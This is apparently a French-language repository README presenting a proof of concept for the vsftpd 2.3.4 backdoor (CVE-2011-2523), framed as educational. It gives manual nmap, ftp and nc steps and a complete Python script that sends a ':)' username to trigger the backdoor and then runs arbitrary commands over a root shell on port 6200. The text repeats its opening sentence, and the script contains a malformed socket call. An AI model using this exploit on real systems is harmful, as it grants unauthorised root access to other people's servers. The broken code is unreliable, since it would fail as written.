
vsftpd 2.3.4 (CVE-2011-2523) une vulnérabilité critique qui mène à un Reverse Root Shell. Dans ce dépôt, je vais faire un PoC sur comment l'exploiter étape par étape, manuellement et automatiquement (Python) à des fins éducatives.
vsftpd 2.3.4 (CVE-2011-2523) est une vulnérabilité critique qui mène à un Root Shell. Dans ce dépôt, je vais faire une Preuve de Concept (PoC) de comment l'exploiter étape par étape, Manuellement & Automatiquement (Python) à des fins éducatives.
En quoi consiste la vulnérabilité ?
Tout d'abord, c'est une exploitation côté service, donc nous l'exploiterons à distance. L'idée est que lorsque vous vous connectez au service FTP par défaut sur le port 21 en utilisant un nom d'utilisateur contenant :), cela déclenche l'ouverture d'un port TCP 6200 avec un Root Shell, afin que quiconque puisse s'y connecter et avoir un accès Root au serveur cible, ce qui est une catastrophe. Alors, faisons-le pratiquement étape par étape. Je vais l'expliquer d'abord manuellement pour avoir une idée complète, puis il y a un script Python pour l'exploiter automatiquement.
nmap -p21 -sV -sC -O Target_IP
nmap -p6200 Target_IP
ftp Target_IP
nmap -p6200 Target_IP
Le port 6200 est maintenant ouvert, c'est donc notre porte dérobée
nc -nv Target_IP 6200
Enfin, nous avons un Root Shell sur la machine cible.

Après l'avoir fait manuellement, nous connaissons les étapes de l'exploit :
:) pour déclencher la porte dérobée.#!/usr/bin/python3
from ftplib import FTP
import socket
import sys
import time
Target_IP = sys.argv[1]
cmd = sys.argv[2]
# Step1: Connect to FTP
try:
ftp = FTP(Target_IP,timeout=2)
ftp.login("user:)","password") # Step2: Send the malicious username
except:
pass
time.sleep(1) # To give a time for the server to open the port (6200)
#Step3: Connect to port (6200) to have a Root Shell
shell = socket.socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
try:
shell.connect((Target_IP,6200))
except:
print("Shell Failed")
#Execute the commands
shell.send(cmd.encode() + b"\n")
print(shell.recv(4096).decode())
#Finally close the connection
shell.close()